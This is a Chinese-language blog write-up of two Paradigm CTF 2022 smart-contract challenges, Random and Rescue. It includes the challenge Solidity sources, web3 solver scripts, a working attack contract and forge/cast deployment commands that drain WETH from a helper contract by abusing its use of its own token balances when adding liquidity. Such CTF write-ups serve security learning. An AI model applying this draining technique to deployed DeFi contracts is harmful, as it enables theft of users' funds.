paradigm 2022 ctf 解答

说明

CTF比赛已经结束了,很多题目都给出了sol源文件,所以我们可以结合sol文件在本地搭建环境学习和复现。环境搭建参考通过sol源代码获取abi,hardhat简介

Random

分析

源代码就是两个文件:
Random.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.15;

contract Random {

bool public solved = false;

function _getRandomNumber() internal pure returns (uint256) { // chosen by fair dice roll.
return 4; // guaranteed to be random.
}

function solve(uint256 guess) public {
require(guess == _getRandomNumber());
solved = true;
}
}

Setup.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.15;

import "./Random.sol";

contract Setup {

Random public random;

constructor() {
random = new Random();
}

function isSolved() public view returns (bool) {
return random.solved();
}
}

解题思路:
核心思路:

  1. 调用random中的solve(4)方法,更新solved值为True;
  2. 调用SetupisSolved()方法即可:
  3. 通过Setup合约的random变量即可得到random合约地址,从而完成步骤1和步骤2,解出本题。

解答

按照 hardhat简介 的方法搭建本地本次环境。使用Python和web3写出最终的payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
w3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))
print(w3.isConnected())
setup_abi = '''
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"isSolved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"random","outputs":[{"internalType":"contract Random","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
'''
random_abi = '''
[{"inputs":[{"internalType":"uint256","name":"guess","type":"uint256"}],"name":"solve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"solved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}] '''

setup_contract = w3.eth.contract(address=Web3.toChecksumAddress('0x5fbdb2315678afecb367f032d93f642f64180aa3'),
abi=json.loads(setup_abi))
random_address = setup_contract.functions.random().call()
print(random_address)
random_contract = w3.eth.contract(address=Web3.toChecksumAddress(random_address),
abi=json.loads(random_abi))
random_contract.functions.solve(4).transact()
solved = random_contract.functions.solved().call()
print(solved)
isSolved = setup_contract.functions.isSolved().call()
print(isSolved)

RESCUE

题目的描述是:I accidentally sent some WETH to a contract, can you help me?

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.16;

import "./MasterChefHelper.sol";

interface WETH9 is ERC20Like {
function deposit() external payable;
}

contract Setup {

WETH9 public constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
MasterChefHelper public immutable mcHelper;

constructor() payable {
mcHelper = new MasterChefHelper();
weth.deposit{value: 10 ether}();
weth.transfer(address(mcHelper), 10 ether); // whoops
}

function isSolved() external view returns (bool) {
return weth.balanceOf(address(mcHelper)) == 0;
}

}

Setup合约在创建的时候先抵押了10ETH,获取了10 WETH并且将10个WETH转移到了mcHelper合约中。题目的要求是怎么将mcHelper合约下的10个WETH转走。顾名思义,就是rescue。

继续分析MasterChefHelper.sol文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
contract MasterChefHelper {

MasterChefLike public constant masterchef = MasterChefLike(0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd);
UniswapV2RouterLike public constant router = UniswapV2RouterLike(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);

function swapTokenForPoolToken(uint256 poolId, address tokenIn, uint256 amountIn, uint256 minAmountOut) external {
(address lpToken,,,) = masterchef.poolInfo(poolId);
address tokenOut0 = UniswapV2PairLike(lpToken).token0();
address tokenOut1 = UniswapV2PairLike(lpToken).token1();

ERC20Like(tokenIn).approve(address(router), type(uint256).max);
ERC20Like(tokenOut0).approve(address(router), type(uint256).max);
ERC20Like(tokenOut1).approve(address(router), type(uint256).max);
ERC20Like(tokenIn).transferFrom(msg.sender, address(this), amountIn);

// swap for both tokens of the lp pool
// 说明对于 lpToken 中的 tokenOut0 和 tokenOut1是等价值的;
_swap(tokenIn, tokenOut0, amountIn / 2);
_swap(tokenIn, tokenOut1, amountIn / 2);

// add liquidity and give lp tokens to msg.sender
_addLiquidity(tokenOut0, tokenOut1, minAmountOut);
}

function _addLiquidity(address token0, address token1, uint256 minAmountOut) internal {
(,, uint256 amountOut) = router.addLiquidity(
token0,
token1,
ERC20Like(token0).balanceOf(address(this)),
ERC20Like(token1).balanceOf(address(this)),
0,
0,
msg.sender,
block.timestamp
);
require(amountOut >= minAmountOut);
}

function _swap(address tokenIn, address tokenOut, uint256 amountIn) internal {
address[] memory path = new address[](2);
path[0] = tokenIn;
path[1] = tokenOut;
router.swapExactTokensForTokens(
amountIn,
0,
path,
address(this),
block.timestamp
);
}
}

MasterChefHelper中只有swapTokenForPoolToken()函数是可以被外部调用的。

swapTokenForPoolToken

1
2
3
4
5
6
7
8
9
// swap for both tokens of the lp pool
// 将 amountIn / 2 数量的 tokenIn 转换为 tokenOut0
_swap(tokenIn, tokenOut0, amountIn / 2);
// 将 amountIn / 2 数量的 tokenIn 转换为 tokenOut1
_swap(tokenIn, tokenOut1, amountIn / 2);

// 将替换出来的 tokenOut0 和 tokenOut1 加入到流动池里
// add liquidity and give lp tokens to msg.sender
_addLiquidity(tokenOut0, tokenOut1, minAmountOut);

_addLiquidity

1
2
3
4
5
6
7
8
9
10
11
12
13
function _addLiquidity(address token0, address token1, uint256 minAmountOut) internal {
(,, uint256 amountOut) = router.addLiquidity(
token0,
token1,
ERC20Like(token0).balanceOf(address(this)),
ERC20Like(token1).balanceOf(address(this)),
0,
0,
msg.sender,
block.timestamp
);
require(amountOut >= minAmountOut);
}

其中的关键代码是:ERC20Like(token0).balanceOf(address(this))ERC20Like(token1).balanceOf(address(this))加入流动性是将MasterChefHelper合约里的token0和token1全部加入到流动池里

问题的关键就是在于,添加流动性是用MasterChefHelper里面所有的token,而不是用户加进去的token。所以我们只需要增加一个和weth等价值的代币到MasterChefHelper中,然后再使用另外一个代币调用swapTokenForPoolToken就可以全部使用MasterChefHelper中的代币来提供流动性,从而达到了取出代币的要求。

解答

先通过MasterChefHelper获取到交易对的信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import json

import web3
from web3 import Web3

RPC_URL = 'http://127.0.0.1:8545/b7cb95db-d484-4b12-8c94-08c92580eeec'
w3 = web3.Web3(web3.Web3.HTTPProvider(RPC_URL))
# 通过solc获得abi
MasterChefLikeAbi = '''
[{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"name":"poolInfo","outputs":[{"internalType":"address","name":"lpToken","type":"address"},{"internalType":"uint256","name":"allocPoint","type":"uint256"},{"internalType":"uint256","name":"lastRewardBlock","type":"uint256"},{"internalType":"uint256","name":"accSushiPerShare","type":"uint256"}],"stateMutability":"nonpayable","type":"function"}]
'''
UniswapV2pairLikeAbi = '''
[{"inputs":[],"name":"token0","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"token1","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"nonpayable","type":"function"}]
'''

setup_abi = '''
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"inputs":[],"name":"isSolved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mcHelper","outputs":[{"internalType":"contract MasterChefHelper","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"weth","outputs":[{"internalType":"contract WETH9","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
'''

erc20_abi = '''
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}]
'''


def get_pair_info():
mastercheflike = w3.eth.contract(address=Web3.toChecksumAddress('0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd'),abi=json.loads(MasterChefLikeAbi))
for i in range(28):
pool_info = mastercheflike.functions.poolInfo(i).call()
# lpToken address
lp_token = pool_info[0]
pair = w3.eth.contract(address=Web3.toChecksumAddress(lp_token), abi=json.loads(UniswapV2pairLikeAbi))
token0 = pair.functions.token0().call()
token1 = pair.functions.token1().call()
token0_contract = w3.eth.contract(address=Web3.toChecksumAddress(token0),abi=json.loads(erc20_abi))
token1_contract = w3.eth.contract(address=Web3.toChecksumAddress(token1),abi=json.loads(erc20_abi))
token0_name = token0_contract.functions.symbol().call()
token1_name = token1_contract.functions.symbol().call()
format_msg = f'pair_id:{i},lp_address:{lp_token},token0:{token0_name},token1:{token1_name}'
print(format_msg)
print(f'token0_address:{token0},token1_address:{token1}')


if __name__ == '__main__':
get_pair_info()


获得pair信息如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pair_id:0,lp_address:0x06da0fd433C1A5d7a4faa01111c044910A184553,token0:WETH,token1:USDT
pair_id:1,lp_address:0x397FF1542f962076d0BFE58eA045FfA2d347ACa0,token0:USDC,token1:WETH
pair_id:2,lp_address:0xC3D03e4F041Fd4cD388c549Ee2A29a9E5075882f,token0:DAI,token1:WETH
pair_id:3,lp_address:0xF1F85b2C54a2bD284B1cf4141D64fD171Bd85539,token0:sUSD,token1:WETH
pair_id:4,lp_address:0x31503dcb60119A812feE820bb7042752019F2355,token0:COMP,token1:WETH
pair_id:5,lp_address:0x5E63360E891BD60C69445970256C260b0A6A54c6,token0:LEND,token1:WETH
pair_id:6,lp_address:0xA1d7b2d891e3A1f9ef4bBC5be20630C2FEB1c470,token0:SNX,token1:WETH
pair_id:7,lp_address:0x001b6450083E531A5a7Bf310BD2c1Af4247E23D4,token0:UMA,token1:WETH
pair_id:8,lp_address:0xC40D16476380e4037e6b1A2594cAF6a6cc8Da967,token0:LINK,token1:WETH
pair_id:9,lp_address:0xA75F7c2F025f470355515482BdE9EFA8153536A8,token0:BAND,token1:WETH
pair_id:10,lp_address:0xCb2286d9471cc185281c4f763d34A962ED212962,token0:WETH,token1:AMPL
pair_id:11,lp_address:0x088ee5007C98a9677165D78dD2109AE4a3D04d0C,token0:YFI,token1:WETH
pair_id:12,lp_address:0x795065dCc9f64b5614C407a6EFDC400DA6221FB0,token0:SUSHI,token1:WETH
pair_id:13,lp_address:0x611CDe65deA90918c0078ac0400A72B0D25B9bb1,token0:REN,token1:WETH
pair_id:14,lp_address:0xaAD22f5543FCDaA694B68f94Be177B561836AE57,token0:sUSD,token1:$BASED
pair_id:15,lp_address:0x117d4288B3635021a3D612FE05a3Cbf5C717fEf2,token0:SRM,token1:WETH
pair_id:16,lp_address:0x95b54C8Da12BB23F7A5F6E26C38D04aCC6F81820,token0:YAMv2,token1:WETH
pair_id:17,lp_address:0x58Dc5a51fE44589BEb22E8CE67720B5BC5378009,token0:WETH,token1:CRV
pair_id:18,lp_address:0xDafd66636E2561b0284EDdE37e42d192F2844D40,token0:UNI,token1:WETH
pair_id:19,lp_address:0x36e2FCCCc59e5747Ff63a03ea2e5C0c2C14911e7,token0:xSUSHI,token1:WETH

在本次利用中,我们主要是利用pair 0pair 1。整体的攻击流程如下:

  1. 利用pair 0,充值价值10e的USDT,那么pair0等值的WETHUSDT就会被锁定在合约中。
  2. 然后充值部分usdc到pair 0中(利用swapTokenForPoolToken),这样就可以获取到pair 0中的WETHUSDT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
contract Rescue {
UniswapV2RouterLike public constant router = UniswapV2RouterLike(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);

WETH9 public weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

ERC20Like public usdc = ERC20Like(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IPair public usdcweth = IPair(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc);

IPair public usdtweth = IPair(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852);


function solve() public {
// 获得对应的mcHelper的地址
// 需要手动传入
address target = ISetup(0xbaA8474EA5Cfb9230E3e3a7b395ECE741bCA4D05).mcHelper();

// 存入到11eth
weth.deposit{value: 11 ether}();
// 将10e转移到usdtweth pair中
weth.transfer(address(usdtweth), 10 ether);
// 将1e转移到usdcweth pair中
weth.transfer(address(usdcweth), 1 ether);

(uint112 reserveUSDT01, uint112 reserveWETH01, ) = usdtweth.getReserves();
// 得到价值10e的usdt数量
uint256 usdtAmount = router.getAmountOut(10 ether, reserveWETH01, reserveUSDT01);
// 将usdt转移到mcHelper中
usdtweth.swap(usdtAmount, 0, target, "");

(uint256 reserveWETH02, uint256 reserveUSDC02, ) = usdcweth.getReserves();
// 获得价值1e的usdc数量
uint256 usdcAmount = router.getAmountOut(0.1 ether, reserveWETH02, reserveUSDC02);
// 将usdc转移到当前合约中
usdcweth.swap(0, usdcAmount, address(this), "");

usdc.approve(target, usdc.balanceOf(address(this)));
// 将usdc转移到mcHelper中,此时就会调用MasterChefHelper中的swapTokenForPoolToken方法
IMasterChefHelper(target).swapTokenForPoolToken(0, address(usdc), usdc.balanceOf(address(this)), 0);
}

receive() external payable {}
}

整个攻击的实施方法如下:

  1. 部署我们的攻击合约
    forge create --rpc-url rpc_url --private-key private_key /path/to/Solve.sol:Rescue --json
    实施部署之后,就会返回我们的攻击合约的地址。
  2. 向攻击合约进行转账
    cast send -rpc-url rpc_url --private-key private_key solve_contract_address --value 20000000000000000000
  3. 调用攻击合约的solve方法
    cast send -rpc-url rpc_url --private-key private_key solve_contract_address 'solve()'

通过上面的步骤,就可以获得我们的flag。

参考

  1. https://jeiwan.net/posts/my-paradigm-ctf-solutions/
  2. https://hackmd.io/@statemind/HkaYWzG1i
  3. https://hackmd.io/@theori/r1gnaGNks#Stealing-Sats
  4. https://inspexco.medium.com/paradigm-ctf-2022-writeup-2ce290cd9287#008c
  5. https://0xsha.io/blog/hacking-smart-conctracts-with-paradigm-ctf-2022-flavor
文章作者: Oooverflow
文章链接: https://www.oooverflow.com/2022/09/05/paradigm-2022-ctf-md/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Oooverflow